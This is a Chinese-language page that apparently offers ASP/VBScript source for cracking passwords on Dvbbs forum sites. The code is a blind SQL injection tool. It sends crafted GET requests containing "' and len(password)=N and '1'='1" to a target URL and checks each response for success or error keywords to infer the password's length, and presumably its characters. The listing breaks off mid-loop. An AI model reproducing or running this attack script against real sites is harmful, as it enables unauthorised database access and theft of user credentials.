动网论坛密码暴力破解程序代码

<%
response.buffer=false
'为防止程序陷入死循环，初始化一些最大重试值
Dim MaxPassLen,MaxPassAsc
MaxPassLen=20 '密码最大长度
MaxPassAsc=20
'==== 字符转换
Function bytes2BSTR(vIn)
strReturn = ""
For j = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,j,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,j+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
j = j + 1
End If
Next
bytes2BSTR = strReturn
End Function
' 下面是取网页内容 ==========
Function GetUrl(Url)
set oSend=createobject("Microsoft.XMLHTTP")
SourceCode = oSend.open ("GET",url,false)
oSend.send()
SourceCode = bytes2BSTR(oSend.responseBody)
GetUrl = SourceCode
End Function
'下面是判断返回页面效果
Function ChkPage(SourceCode,SucKey,ErrKey)
if Instr(SourceCode,SucKey) > 0 then
ChkPage=true '页面返回成功
exit function
end if
if Instr(SourceCode,ErrKey) > 0 then
ChkPage=false '页面出错
exit function
end if
ChkPage=false '关键字信息不对或者是页面未连接
response.write("关键字信息不对或者是页面未连接")
response.end
End Function
'开始破解
'Dim url,username,password,SucKey,
Dim PassLenUrl
Dim PassLen
Dim ChkPassLen
If request("begin")<>"" then
response.cookies("PassLen")=0
url=request("url")
username=request("username")
password=request("password")
SucKey=request("SucKey")
ErrKey=request("ErrKey")
response.write("第一步，破解密码长度<BR>")
PassLen = 1
ChkPassLen = false
Do while not ChkPassLen
PassLenUrl = Url & username & "'%20and%20len(" & password & ")=" & PassLen & "%20and%20'1'='1"

补充：asp教程,安全加密